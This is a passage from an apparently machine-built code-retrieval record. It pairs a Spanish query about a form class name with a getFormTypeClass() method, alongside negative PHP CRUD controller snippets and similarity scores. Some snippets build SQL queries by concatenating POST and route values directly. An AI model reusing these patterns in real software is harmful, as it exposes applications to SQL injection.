$resource['Active']);\n $this->_f3->set('Resource', $availableResource);\n $this->_f3->set('errors', $errors);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n } else {\n // fixme add routing\n $this->_f3->reroute('/Admin');\n }\n\n }", "public function getListAction(){\n }", "function alta_tipo_pago(){\n\t\t$u= new Tipo_pago();\n\t\t$related = $u->from_array($_POST);\n\t\t// save with the related objects\n\t\tif($u->save($related))\n\t\t{\n\t\t\techo \"<html> <script>alert(\\\"Se han registrado los datos del Tipo de Pago.\\\"); window.location='\".base_url().\"index.php/inicio/acceso/\".$GLOBALS['ruta'].\"/menu';</script></html>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\tshow_error(\"\".$u->error->string);\n\t\t}\n\t}", "public function tasksCrud(){\n\t\t// Istanzio Grocery Crud\n\t\t$crud = new grocery_CRUD();\n\t\t$crud->set_model('Mod_GCR');\n\t\t$crud->set_theme('bootstrap');\n\t\t$crud->set_language('italian');\n\t\t$crud->set_table('tasks');\n\t\t// Imposto le relazioni con la tabella tasks_categorie\n\t\t$crud->set_relation('id_categoria','tasks_categorie','categoria');\n\t\t// Nascondo\n\t\t$crud->unset_columns(array('id_reparto'));\n\t\t$crud->unset_delete();\n\t\t$crud->unset_bootstrap();\n\t\t$output = $crud->render();\n\n\t\t// Definisco le opzioni\n\t\t$opzioni=array();\n\t\t// Carico la vista\n\t\t$this->opzioni=array(\"datatables\",\"fullcalendar\");\n\t\t$this->codemakers->genera_vista_aqp('crud',$output,$this->opzioni);\n\t}", "public function toApi(): FormResource;", "public function testEdit()\n {\n $client = $this->createAuthorizedClient();\n $crawler = $client->request('GET', '/persona/1/edit');\n $form = $crawler->selectButton('Update')->form();\n $form['persona[Apellidos]'] = 'Testy';\n $crawler = $client->submit($form);\n $this->assertTrue($client->getResponse()->isRedirect());\n $crawler = $client->followRedirect();\n\n //edit teniendo en cuenta los datos de una persona\n $persona = self::$kernel->getContainer()->get('doctrine')->getRepository('App\\Entity\\Persona')->findOneBy(array(\n 'Nombre' => 'Celia',\n 'Apellidos' => 'Cruz',\n 'Cargo' => 'Boss',\n 'Correo' => '[email protected]',\n 'Telefono' => '123456789',\n 'Local_id' => '1',\n 'Departamento' => '1',\n ));\n\n $personaID = $persona->getNumero_Empleado();\n $this->assertNotNull($personaID);\t//El cliente está insertado\n\n $crawler = $client->request('GET', '/persona/'.$personaID.'/edit');\n $form = $crawler->selectButton('Update')->form();\n $form['persona[Nombre]'] = 'Celia';\n $form['persona[Apellidos]'] = 'Cruz';\n $form['persona[Cargo]'] = 'Boss';\n $form['persona[Correo]'] = '[email protected]';\n $form['persona[Telefono]'] = '123456665';\n $form['persona[Local_id]'] = '1';\n $form['persona[Departamento]'] = '1';\n\n $crawler = $client->submit($form);\n\n //verificacion de que se hayan cambiado los datos\n $personaVerificacion = self::$kernel->getContainer()->get('doctrine')->getRepository('App\\Entity\\Persona')->findOneBy(array(\n 'Nombre' => 'Celia',\n 'Apellidos' => 'Cruz',\n 'Cargo' => 'Boss',\n 'Correo' => '[email protected]',\n 'Telefono' => '123456665',\n 'Local_id' => '1',\n 'Departamento' => '1',\n ));\n $this->assertNotNull($personaVerificacion);\n\n //persona que no existe\n $crawler = $client->request('GET', '/clientes/1246548788/edit');\n //no encuentra el archivo porque no existe\n $this->assertEquals(404, $client->getResponse()->getStatusCode()\n );\n }", "public function newAction(Request $request)\n {\n $em = $this->getDoctrine()->getManager();\n $entsuebs = $em->getRepository('NomencladorBundle:NomEntidad')->getEntidadesTiposAcopioyUEB();\n $datParteDesvio = new DatParteDesvio();\n $form = $this->createForm('ParteDiarioBundle\\Form\\DatParteDesvioType', $datParteDesvio, array('valores' => $entsuebs));\n $form->handleRequest($request);\n\n if($form->isSubmitted()){\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($datParteDesvio);\n $em->flush();\n\n if ($form->get('aceptar')->isClicked())\n return $this->redirectToRoute('partedesvio_index');\n else\n return $this->redirectToRoute('partedesvio_new');\n }\n }\n// $enviado = $request->request->get('enviado');\n// if (!empty($enviado)) {\n// $parte = $request->request->get('partediario');\n// $em = $this->getDoctrine()->getManager();\n// $pro = $em->getRepository('NomencladorBundle:NomProducto')->find($parte['producto']);\n// $um = $em->getRepository('NomencladorBundle:NomUnidadmedida')->find($parte['um']);\n// $ueb = $em->getRepository('NomencladorBundle:NomUeb')->find($parte['ueb']);\n// $datParteDesvio->setFecha(date_create_from_format('d/m/Y', $parte['fecha']));\n// $datParteDesvio->setCantidad($parte['cantidad']);\n// $datParteDesvio->setUm($um);\n// $datParteDesvio->setUeb($ueb);\n// $datParteDesvio->setProducto($pro);\n// $datParteDesvio->setDestino($parte['destino']);\n// $datParteDesvio->setTipo($parte['tipo']);\n// $em->persist($datParteDesvio);\n// $em->flush();\n// return new JsonResponse(\"0\");\n// }\n return $this->render('ParteDiarioBundle:datpartedesvio:new.html.twig', array(\n 'datParte' => $datParteDesvio,\n 'form' => $form->createView(),\n 'action' => 'Adicionar',\n ));\n }", "public function cargaInicialAction(){\n return $this->render('AdminBundle:Refrenda:carga_inicial.html.twig');\n }", "public function pesquisarAction() {\r\n \r\n }", "public function editAction()\n {\n $this->createEditParameters = $this->createEditParameters + $this->_editExtraParameters;\n\n parent::editAction();\n }", "public function actionPreCreate($categoria, $servicio){\n $user = Yii::$app->user;\n // $payments = new \\app\\models\\Payments::find()->where(['fk_usuario'=>$user->id, '']);\n // falta verificar si el usuario tiene pagos pendientes o eliminar el payment con estatus\n // solicitado si es que vamos a crear un nuevo payment con el mismo estatus\n $perfil = \\app\\models\\PerfilUsuario::find()->where(['fk_usuario'=>$user->id])->one();;\n $url=\"consulta/create?categoria=\".$categoria;\n $servicio = \\app\\models\\Servicios::find()->where(['id'=>$servicio])->one();\n $iguala_usuario = \\app\\models\\IgualasUsers::find()->where(['fk_users_cliente'=>$perfil->id, 'estatus'=>'concretado'])->one();\n $extra_info = \"\";\n\n //Tasa de cambio\n $tasa = \\app\\models\\Currency::findOne(1)->valor_cambio;\n $costo = $servicio->costo/$tasa;\n $costo = round($costo,3);\n if ($iguala_usuario){\n // calcualamos con descuento:\n if ($iguala_usuario->slim==\"1\"){\n $extra_info = \"incluyendo el descuento de slim\";\n $precio = $costo - ($costo * ($servicio->servicioPromocion->fkPromocion->slim / 100));\n }\n if ($iguala_usuario->med==\"1\"){\n $extra_info = \"incluyendo el descuento de med\";\n $precio = $costo - ($costo * ($servicio->servicioPromocion->fkPromocion->med / 100));\n }\n if ($iguala_usuario->plus==\"1\"){\n $extra_info = \"incluyendo el descuento de plus\";\n $precio = $costo - ($costo * ($servicio->servicioPromocion->fkPromocion->plus / 100));\n }\n }\n else{\n $precio = $costo;\n }\n \n $description = \"Solicitud de servicio: \".$servicio->nombre. \" \".$extra_info;\n try{\n //header('Content-Type: application/json');\n $paypal_charge = chargeToCustomer($precio, $description, $url);\n }catch(\\Exception $e){\n Yii::$app->getSession()->setFlash('danger',$e->getMessage());\n return $this->redirect(['site/solicita']);\n }\n json_decode($paypal_charge, true);\n $charge = new \\app\\models\\Payments();\n $charge->charge_id = $paypal_charge->id;\n $charge->monto = $precio;\n $charge->fecha = time();\n $charge->estatus = \"solicitado\";\n $charge->approval_link = $paypal_charge->getApprovalLink();\n $charge->fk_usuario = $user->id;\n if (!$charge->save()){\n return false;\n }\n else{\n $servicios_payment = new \\app\\models\\ServicioPayments();\n $servicios_payment->fk_service = $servicio->id;\n $servicios_payment->fk_users_cliente = $perfil->id;\n $servicios_payment->fk_payments = $charge->id;\n $servicios_payment->save();\n }\n return $this->render('preCreate', [\n 'approvalUrl'=>$paypal_charge->getApprovalLink()\n ]);\n\n }", "public function editAction($id)\n {\n }", "public function gerarRequisicaoAction() {\n\n $aDados = $this->getRequest()->getParams();\n $oForm = new Contribuinte_Form_RequisicaoRps();\n\n // Busca Tipos de Nota do Grupo RPS\n $aTiposNota = Contribuinte_Model_Nota::getTiposNota(Contribuinte_Model_Nota::GRUPO_NOTA_RPS);\n\n // Popula o select com os tipos de nota para poder validar\n if (is_object($oForm->tipo_documento) && is_array($aTiposNota)) {\n $oForm->tipo_documento->addMultiOptions($aTiposNota);\n }\n\n // Valida o formulario e gera a requisicao\n if ($oForm->isValid($aDados)) {\n\n $iInscricaoMunicipal = $this->_session->contribuinte->getInscricaoMunicipal();\n $iCgmGrafica = $this->_getParam('cgm_grafica');\n $iTipoDocumento = $this->_getParam('tipo_documento');\n $iQuantidade = $this->_getParam('quantidade');\n\n // Verifica se possui requisicoes pendentes\n $iQuantidadeRequisicaoPendente = Administrativo_Model_RequisicaoAidof::verificarRequisicaoPendente(\n $iInscricaoMunicipal,\n $iTipoDocumento,\n Contribuinte_Model_Nota::GRUPO_NOTA_RPS);\n\n if ($iQuantidadeRequisicaoPendente > 0) {\n\n $aRetornoJson['status'] = FALSE;\n $aRetornoJson['error'][] = $this->translate->_('Existem requisições pendentes para este tipo de documento.');\n } else {\n\n Administrativo_Model_RequisicaoAidof::gerar(\n $iTipoDocumento,\n $iInscricaoMunicipal,\n $iCgmGrafica,\n $iQuantidade);\n\n $aRetornoJson['status'] = TRUE;\n $aRetornoJson['success'] = $this->translate->_('Requisição de emissão de RPS enviada.');\n $aRetornoJson['reload'] = TRUE;\n }\n } else {\n\n $aRetornoJson['status'] = FALSE;\n $aRetornoJson['fields'] = array_keys($oForm->getMessages());\n $aRetornoJson['error'][] = $this->translate->_('Preencha os dados corretamente.');\n }\n\n echo $this->getHelper('json')->sendJson($aRetornoJson);\n }", "public function addAction(){\n\t\t\t$emp = new Empresa();\n\t\t\t//cargamos el objeto mediantes los metodos setters\n\t\t\t$emp->id = '0';\n\t\t\t$emp->nombre_empresa = $this->getPostParam(\"nombre_empresa\");\n\t\t\t$emp->nit = $this->getPostParam(\"nit\");\n\t\t\t$emp->direccion = $this->getPostParam(\"direccion\");\n\t\t\t$emp->logo = $this->getPostParam(\"imagen\");\n\t\t\t$emp->regimen_id = $this->getPostParam(\"regimen_id\");\n\t\t\t\t\t\t\t\t\n\t\t\tif($emp->save()){\n\t\t\t\tFlash::success(\"Se insertó correctamente el registro\");\n\t\t\t\tprint(\"<script>document.location.replace(\".core::getInstancePath().\"'empresa/mostrar/$emp->id');</script>\");\n\t\t\t}else{\n\t\t\t\tFlash::error(\"Error: No se pudo insertar registro\");\t\n\t\t\t}\n\t\t\t\t\t\n\t }", "public function listiAction()\n {\n $form = new Formulario(\"form\");\n $id = (int) $this->params()->fromRoute('id', 0);\n $form->get(\"id\")->setAttribute(\"value\",$id);\n $form->get(\"numero\")->setAttribute(\"value\",0);\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $d = New AlbumTable($this->dbAdapter); \n $t = new LogFunc($this->dbAdapter);\n $dt = $t->getDatLog();\n\n $datos = $d->getConnom();// Listado de conceptos\n foreach ($datos as $dat){\n $idc=$dat['id'];$nom=$dat['nombre'].' ('.$dat['tipVal'].')';\n $arreglo[$idc]= $nom;\n } \n $form->get(\"tipo\")->setValueOptions($arreglo); \n $arreglo = ''; \n $datos = $d->getEmp('');// Listado de empleados \n foreach ($datos as $dat){\n $idc=$dat['id'];$nom = $dat['CedEmp'].' - '.$dat['nombre'].' '.$dat['nombre'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"idEmpM\")->setValueOptions($arreglo); \n\n if($this->getRequest()->isPost()) \n {\n $request = $this->getRequest();\n if ($request->isPost()) {\n // Zona de validacion del fomrulario --------------------\n $album = new ValFormulario();\n $form->setInputFilter($album->getInputFilter()); \n $form->setData($request->getPost()); \n $form->setValidationGroup('id'); // ------------------------------------- 2 CAMPOS A VALDIAR DEL FORMULARIO (C) \n // Fin validacion de formulario ---------------------------\n if ($form->isValid()) {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $d = new AlbumTable($this->dbAdapter);// ------------------------------------------------- 3 FUNCION DENTRO DEL MODELO (C) \n $data = $this->request->getPost(); \n $d->modGeneral(\"insert into t_tip_docontrol_i (idTdoc, nombre, idUsu) \n values(\".$data->id.\",'\".$data->nombre.\"',\".$dt['idUsu'].\")\");\n return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin.'i/'.$data->id);\n }\n }\n } \n \n //$u=new Tipautoi($this->dbAdapter); // ---------------------------------------------------------- 1 FUNCION DENTRO DEL MODELO (C)\n $valores=array\n (\n \"titulo\" => 'Items de evaluacion para documentos de control ',\n \"datos\" => $d->getGeneral(\"select a.id, a.nombre \n from t_tip_docontrol_i a \n\n where a.idTdoc = \".$id),// Listado de formularios \n \"ttablas\" => 'Nombre, Eliminar',\n 'url' => $this->getRequest()->getBaseUrl(),\n \"form\" => $form,\n \"lin\" => $this->lin\n ); \n return new ViewModel($valores); \n }", "public function crearAction(Request $request) {\n $em = $this->getDoctrine()->getManager();\n\t\t$em->clear();\n\t$comprobante = new Comprobante();\n $dataComprobante= $request->request->get('magyp_rendiciondecajabundle_comprobantetype');\n $idImputacion= $dataComprobante['imputacion'];\n $eImputacion= $em->getRepository('MagypRendicionDeCajaBundle:Imputacion')->find($idImputacion);\n $comprobante->setImputacion($eImputacion);\n\t$form = $this->createForm(new ComprobanteType(), $comprobante);\n\t$form->bind($request);\n\tif(is_numeric($comprobante->getRendicion()))$idrendicion = $comprobante->getRendicion();\n\t\n\tif ($form->isValid()) {\n\t if($this->validoRendicionDisintaConMismoNumeroProveedor($em,$comprobante, $request, 0)){\n\t\tif( ( $this->validoLimite3000($em, $comprobante, $request, 0)) && ( $this->validoLimiteMontoArea( $em, $comprobante, $request, 0) ) && ( $this->validoRepiteNumeroProveedor( $em, $comprobante, $request, 0 ) ) ){ \t\t \n\t\t $rendicion = $em->getRepository(\"MagypRendicionDeCajaBundle:Rendicion\")->find($comprobante->getRendicion());\n\t\t $comprobante->setRendicion($rendicion);\n\t\t $rendicion->Actualizar();\n\t\t $em->persist($comprobante);\n\t\t $em->persist($rendicion);\n $userCompleto = $this->getDoctrine()->getManager()->getRepository('MagypRendicionDeCajaBundle:Usuario')->find($this->getUsuario()->getId());\n\t\t $eventoComprobante = new EventoComprobante($userCompleto, EventoComprobante::NUEVO, $comprobante, null, $this->getRequest());\n\t\t $em->persist($eventoComprobante);\n\t\t $em->flush();\n\t\t return $this->redirect($this->generateUrl('sistema_rendicion_detalle', array('idrendicion' => $rendicion->getId())));\n\t\t}\n\t }\n\t return $this->redirect($this->generateUrl('sistema_comprobante_nuevo', array('idrendicion' => $idrendicion)));\n }else{\n\t $errores = self::getErrorMessages($form);\n\t if(count($errores)>0){\n\t $mensajeerror = new \\Magyp\\MensajeBundle\\Controller\\MensajeError($request, $errores);\n\t $mensajeerror->NoExpira()->Generar();\n\t }\n\t} \n\n\t\n\t\n\t\n\treturn array(\n\t 'comprobante' => $comprobante,\n\t 'form' => $form->createView(),\n\t 'idrendicion' => $idrendicion\n\t);\n }", "public function createAction()\r\n\t{\r\n\t\treturn $this->_crud();\r\n\t}", "public function listAction()\n {\n $form = new Formulario(\"form\"); \n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $d = new AlbumTable($this->dbAdapter); // ---------------------------------------------------------- 1 FUNCION DENTRO DEL MODELO (C)\n\n $t = new LogFunc($this->dbAdapter);\n $dt = $t->getDatLog();\n\n $dat = $d->getGeneral1(\"select id \n from n_supervisores \n where idEmp = \".$dt['idEmp']) ; \n $idSup = $dat['id'];\n $dat = $d->getGeneral1(\"select id, cedEmp, nombre, apellido \n from a_empleados \n where id = \".$dt['idEmp']) ; \n $super = ' Coordinador : ('.$dat['nombre'].' '.$dat['apellido'].')';\n $datP = $d->getProgramaPeriodo();\n // Supervisores\n $arreglo='';\n $datos = $d->getSupervisoresNombresActivos(''); \n $sw = 0; \n foreach ($datos as $dat)\n {\n $idc=$dat['id'];$nom = $dat['nomComp'];\n if ($sw == 0)\n {\n $sw = $dat['id'];\n }\n $arreglo[$idc]= $nom;\n } \n $form->get(\"tipoC\")->setValueOptions($arreglo); \n $form->get(\"tipoC\")->setAttribute(\"value\", $sw); \n\n // Puestos\n $arreglo='';\n //if ( $dt['admin'] == 1 )\n // $datos = $d->getPuesSuper(' '); \n //else \n $datos = $d->getPuesSuper(' and f.idEmp = '.$dt['idEmp']); \n $sw = 0; \n foreach ($datos as $dat)\n {\n $idc=$dat['id'];$nom = $dat['nombre'];\n if ($sw == 0)\n {\n $sw = $dat['id'];\n }\n $arreglo[$idc]= $nom;\n } \n if ( $arreglo != '' ) \n $form->get(\"tipo\")->setValueOptions($arreglo); \n //$form->get(\"tipoC\")->setAttribute(\"value\", $sw); \n\n\n $valores=array\n (\n \"titulo\" => $this->tlis.' de '.$datP['mes'].' del '.$datP['ano'].$super ,\n \"ttablas\" => $this->ttab,\n \"form\" => $form,\n 'url' => $this->getRequest()->getBaseUrl(), \n \"idUsu\" => $idSup,\n \"lin\" => $this->lin\n ); \n $view = new ViewModel($valores); \n $this->layout('layout/layoutTurnos'); \n return $view; \n \n }" ]
[ "0.6469806", "0.6450473", "0.63868713", "0.6340924", "0.6187704", "0.6120028", "0.6096866", "0.6088861", "0.60613906", "0.60520923", "0.60368884", "0.6023658", "0.59761673", "0.597047", "0.59650534", "0.5951514", "0.5930104", "0.5919134", "0.591343", "0.5906395", "0.5897526", "0.5886743", "0.5873135", "0.5872254", "0.5856433", "0.5854756", "0.58413357", "0.5801438", "0.57962483", "0.5778898", "0.57709247", "0.5770613", "0.57638127", "0.5752699", "0.5746591", "0.5721042", "0.57208323", "0.5720517", "0.57139987", "0.5707512", "0.5706151", "0.5693608", "0.5691174", "0.56859744", "0.5684151", "0.56789416", "0.56699336", "0.56699336", "0.56635267", "0.5659478", "0.5656131", "0.56547475", "0.5651797", "0.5648568", "0.56422263", "0.56403553", "0.5632277", "0.5620333", "0.56136954", "0.56059563", "0.56026304", "0.5601245", "0.55985725", "0.5594638", "0.5594466", "0.55899614", "0.5588698", "0.5587304", "0.55849093", "0.5579486", "0.5574873", "0.5571141", "0.55669075", "0.5564101", "0.55611056", "0.5560869", "0.555942", "0.5558964", "0.5555077", "0.55538034", "0.55511725", "0.5549132", "0.55401254", "0.55390865", "0.5535409", "0.5533816", "0.55336994", "0.55335206", "0.55251914", "0.5524397", "0.5524255", "0.5522146", "0.55196196", "0.55189556", "0.55185366", "0.5518009", "0.55161333", "0.5513951", "0.5513263", "0.55100435", "0.55067796" ]
0.0
-1
El class name de la clase formulario que va a renderizarse en el new y en el edit
public function getFormTypeClass() { return NomenclatureType::class; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function getFormClass() : string\n {\n return 'XLite\\Module\\PureClarity\\Personalization\\View\\Form\\Admin\\Dashboard\\Signup';\n }", "public function getFormClass()\n {\n return 'ClientListForm';\n }", "protected function getFormClass(){\n return (\n (\n $this->_class!==NULL &&\n is_string($this->_class) &&\n strlen(trim($this->_class))\n )\n ?$this->_class\n :$this->setFormClass()\n );\n }", "protected function createComponentEditForm() {\r\n\t\t$form = new Form;\r\n\t\t$form->getElementPrototype()->class(\"formWide\");\r\n\t\t$options = array(0 => \"Default\", 1 => \"Odkaz na obsah\", 3 => \"Odkaz na položku menu\");\r\n\t\t// easy way how to create url slug\r\n\t\t$form->addText(\"title\", \"Název:\")\r\n\t\t\t\t->setAttribute('onchange', '\r\n\t\t\t\t\t\t\tvar nodiac = { \"á\": \"a\", \"č\": \"c\", \"ď\": \"d\", \"é\": \"e\", \"ě\": \"e\", \"í\": \"i\", \"ň\": \"n\", \"ó\": \"o\", \"ř\": \"r\", \"š\": \"s\", \"ť\": \"t\", \"ú\": \"u\", \"ů\": \"u\", \"ý\": \"y\", \"ž\": \"z\" };\r\n\t\t\t\t\t\t\ts = $(\"#frmeditForm-title\").val().toLowerCase();\r\n\t\t\t\t\t\t\tvar s2 = \"\";\r\n\t\t\t\t\t\t\tfor (var i=0; i < s.length; i++) {\r\n\t\t\t\t\t\t\t\ts2 += (typeof nodiac[s.charAt(i)] != \"undefined\" ? nodiac[s.charAt(i)] : s.charAt(i));\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tresult=s2.replace(/[^a-z0-9_]+/g, \"-\").replace(/^-|-$/g, \"\");\r\n\t\t\t\t\t\t\t$(\"#frmeditForm-url\").val(result);\r\n\t\t\t\t\t\t');\r\n\t\t$form->addText(\"url\", \"url:\")->setAttribute(\"readonly\", \"readonly\");\r\n\t\tif (!$this->onlyTree) {\r\n\t\t\t$form->addSelect(\"target_type\", \"Cíl:\", $options);\r\n\t\t\t$content = $this->prepareContentSelectBox();\r\n\t\t\t$menuContent = $this->prepareMenuContentSelectBox();\r\n\t\t\t$form->addSelect(\"target_id\", \"Odkazovaný obsah:\", $content)->setPrompt(\"Pouze při zvolení výše\");\r\n\t\t\t$form->addSelect(\"target_menu\", \"Odk. položka menu:\", $menuContent)->setPrompt(\"Pouze při zvolení výše\");\r\n\t\t}\r\n\t\t$form->addHidden(\"parent_id\", $this->parent_id);\r\n\t\t$form->addHidden(\"edit_id\", $this->edit_id);\r\n\t\t//filling form\r\n\t\tif ($this->edit_id or $this->edit_id === \"0\") {\r\n\t\t\t$defFromDb = $this->closureModel->getItemById($this->edit_id);\r\n\t\t\t$defaults = new \\Nette\\ArrayHash;\r\n\t\t\tforeach ($defFromDb as $key => $value) {\r\n\t\t\t\t$defaults->$key = $value;\r\n\t\t\t}\r\n\t\t\tif ($this->edit_id === \"0\") {\r\n\t\t\t\t$form[\"title\"]->setDisabled();\r\n\t\t\t}\r\n\t\t\tif (!$this->onlyTree) {\r\n\t\t\t\t$t = $defaults->target;\r\n\t\t\t\tif (!Validators::isNumericInt($t)) {\r\n\t\t\t\t\t$menuItem = $this->checkTargetMenuItemExists($t);\r\n\t\t\t\t\tif ($menuItem) {\r\n\t\t\t\t\t\t$defaults->target_type = 3;\r\n\t\t\t\t\t\t$defaults->target_menu = $menuItem;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$contentId = $this->checkTargetContentExists($t);\r\n\t\t\t\t\t\t$defaults->target_type = 1;\r\n\t\t\t\t\t\t$defaults->target_id = $contentId;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$form[\"target_menu\"]->getControlPrototype()->addClass(\"formFieldInvisible\");\r\n\t\t\t\t} elseif ($t <= 0) {\r\n\t\t\t\t\t$defaults->target_type = 0;\r\n\t\t\t\t\t$form[\"target_menu\"]->getControlPrototype()->addClass(\"formFieldInvisible\");\r\n\t\t\t\t\t$form[\"target_id\"]->getControlPrototype()->addClass(\"formFieldInvisible\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$defaults->target = null;\r\n\t\t\t$form->setDefaults($defaults);\r\n\t\t}\r\n\r\n\t\t$form->addSubmit('save', 'Save')\r\n\t\t\t\t\t\t->setAttribute('onclick', '$(\"#frmeditForm-title\").trigger(\"change\")')\r\n\t\t\t\t->onClick[] = callback($this, 'editFormSubmitted');\r\n\t\t$form->setRenderer(new \\Kdyby\\BootstrapFormRenderer\\BootstrapRenderer());\r\n\t\treturn $form;\r\n\t}", "public function getName()\n {\n return 'form';\n }", "public function getFormClass()\n {\n if(empty($this->_formClass))\n {\n $this->_formClass = str_replace($this->_namespaceMapper,\n $this->_namespaceForm, get_class($this));\n }\n return $this->_formClass;\n }", "public function getName() {\n return 'form';\n }", "public function create($class)\n {\n $LayoutName=$class::getLayout();\n $ActionUrl=$class::route('store');\n $scripts = [];\n $fields = [];\n $heads = [];\n foreach($class::getform() as $key =>$form){\n if(isset($form['addable']) && $form['addable'])\n $view =View::make('crud.widgets.addable.'.$form['type'])->with(['fiels' => $form,'value' => old($form['name']),'class' =>$class ])->renderSections();\n else\n $view =View::make('crud.widgets.'.$form['type'])->with(['fiels' => $form,'value' => old($form['name']),'class' =>$class ])->renderSections();\n if (isset($view['script']))\n $scripts[] = $view['script'];\n if (isset($view['field']))\n $fields[] = $view['field'];\n if (isset($view['head']))\n $heads[] = $view['head'];\n }\n// dd(compact('LayoutName','ActionUrl','heads','fields','scripts'));\n return view('crud.create',compact('LayoutName','ActionUrl','heads','fields','scripts'));\n }", "public function getName()\n {\n return 'content_form';\n }", "protected function actionNew() {\r\n $strType = $this->getCurObjectClassName();\r\n\r\n if(!is_null($strType)) {\r\n /** @var $objEdit interface_model|class_model */\r\n $objEdit = new $strType();\r\n\r\n\r\n $objForm = $this->getAdminForm($objEdit);\r\n $objForm->getObjSourceobject()->setSystemid($this->getParam(\"systemid\"));\r\n $objForm->addField(new class_formentry_hidden(\"\", \"mode\"))->setStrValue(\"new\");\r\n\r\n return $objForm->renderForm(getLinkAdminHref($this->getArrModule(\"modul\"), \"save\" . $this->getStrCurObjectTypeName()));\r\n }\r\n else\r\n throw new class_exception(\"error creating new entry current object type not known \", class_exception::$level_ERROR);\r\n }", "public function setFormClass($_class=NULL){\n return $this->_class = (\n (\n $_class!==NULL &&\n is_string($_class) &&\n strlen(trim($_class))\n )\n ?$_class\n :($this->getFormName().'_'.self::NAME_DEFAULT)\n );\n }", "public function create()\n {\n return view('admin.class.create');\n }", "public function getEditForm();", "protected function form()\n {\n $this->opt();\n $form = new Form(new ComDep);\n\n $form->text('alias', 'Alias');\n $form->text('name', 'Name');\n $form->select('company_id', 'Company')->options($this->optcom);\n $form->select('id_com_dep_admin', 'Company department admin')->options($this->optcomdep);\n $form->select('service_type_id', 'Service type')->options($this->optsertype);\n $form->textarea('info', 'Info');\n $form->textarea('info_for_vp_admin', 'Info for vp admin');\n $form->text('address', 'Address');\n $form->textarea('info_station', 'Info station');\n $form->text('telephone', 'Telephone');\n $form->text('e_mail', 'E mail');\n $form->text('class', 'Class');$form->saving(function (Form $form) {\n $form->model()->id_admin_add=Admin::user()->id;\n });\n\n return $form;\n }", "public function formulario()\n {\n //\n }", "public function edit(Classes $class)\n {\n //\n }", "public function editForm() {\n return tpl::load(__DIR__ . DS . 'form.php', array('field' => $this));\n }", "public function editClass($id){\n $id = CustomHelper::getDecrypted($id);\n $classdata = ClassSec::find($id);\n return view('Admin.ClassSec.editClass', compact('classdata'));\n }", "public function getFormName()\n {\n return $this->getModelSimpleName() .'Form';\n }", "function geraClasseValidadorFormulario(){\n # Abre o template da classe basica e armazena conteudo do modelo\n $modelo1 = Util::getConteudoTemplate('class.Modelo.ValidadorFormulario.tpl');\n $modelo2 = Util::getConteudoTemplate('metodoValidaFormularioCadastro.tpl');\n\n # abre arquivo xml para navegacao\n $aBanco = simplexml_load_string($this->xml);\n $aModeloFinal = array();\n \n # varre a estrutura das tabelas\n foreach($aBanco as $aTabela){\n $nomeClasse = ucfirst($this->getCamelMode((string)$aTabela['NOME']));\n $copiaModelo1 = $modelo1;\n $copiaModelo2 = $modelo2;\n\n $objetoClasse = \"\\$o$nomeClasse\";\n\n # ==== varre a estrutura dos campos da tabela em questao ====\n $camposForm = array();\n foreach($aTabela as $oCampo){\n # recupera campo e tabela e campos (chave estrangeira)\n $nomeCampoOriginal = (string)$oCampo->NOME;\n # processa nome original da tabela estrangeira\n $nomeFKClasse = (string)$oCampo->FKTABELA;\n $objetoFKClasse = \"\\$o$nomeFKClasse\";\n\n $nomeCampo = $nomeCampoOriginal;\n //$nomeCampo = $nomeCampoOriginal;\n\n # monta parametros a serem substituidos posteriormente\n $label = ($nomeFKClasse != '') ? ucfirst(strtolower($nomeFKClasse)) : ucfirst(str_replace($nomeClasse,\"\",$nomeCampoOriginal));;\t\t\t\t\t\n $camposForm[] = ((int)$oCampo->CHAVE == 1) ? \"if(\\$acao == 2){\\n\\t\\t\\tif(\\$$nomeCampoOriginal == ''){\\n\\t\\t\\t\\t\\$this->msg = \\\"$label invalido!\\\";\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t}\\n\\t\\t}\" : \"if(\\$$nomeCampoOriginal == ''){\\n\\t\\t\\t\\$this->msg = \\\"$label invalido!\\\";\\n\\t\\t\\treturn false;\\n\\t\\t}\\t\";\n }\n # monta demais valores a serem substituidos\n $camposForm = join($camposForm,\"\\n\\t\\t\");\n\n # substitui todas os parametros pelas variaveis já processadas\n $copiaModelo2 = str_replace('%%NOME_CLASSE%%', $nomeClasse, $copiaModelo2);\n $copiaModelo2 = str_replace('%%ATRIBUICAO%%', $camposForm, $copiaModelo2);\n\n $aModeloFinal[] = $copiaModelo2;\n }\n\n $modeloFinal = str_replace('%%FUNCOES%%', join(\"\\n\\n\", $aModeloFinal), $copiaModelo1);\n\n $dir = dirname(dirname(__FILE__)).\"/geradas/\".$this->projeto.\"/classes\";\n if(!file_exists($dir)) mkdir($dir);\n\n $fp = fopen(\"$dir/class.ValidadorFormulario.php\",\"w\"); fputs($fp, $modeloFinal); fclose($fp);\n\n return true;\t\n }", "protected function _getFormClass() {\r\n if (empty($this->_formClass)) {\r\n \tif(empty($this->_formClass)) {\r\n \t\tthrow new Exception('$_formClass should be a valid Zend_Form class name.');\r\n \t}\r\n $this->_formClass = str_replace('Model_Mapper', 'Form', get_class($this));\r\n }\r\n \r\n return $this->_formClass;\r\n }", "public function getClass() {\n\n return 'admin-' . $this::NAME;\n }", "public final function getChildFormClass()\n {\n if ($class = $this->getOption('child_form_class') !== null)\n return $class;\n\n return $this->getRelation()->getClass().'Form';\n }", "protected function form()\n {\n $form = new Form(new $this->currentModel);\n \n $form->display('id', 'ID');\n $form->select('company_id', '公司名称')->options(Company::getSelectOptions());\n $form->text('project_name', '项目名称');\n $form->image('project_photo', '项目图片')->uniqueName()->move('public/photo/images/custom_thum/');\n $form->url('link_url', '项目链接');\n 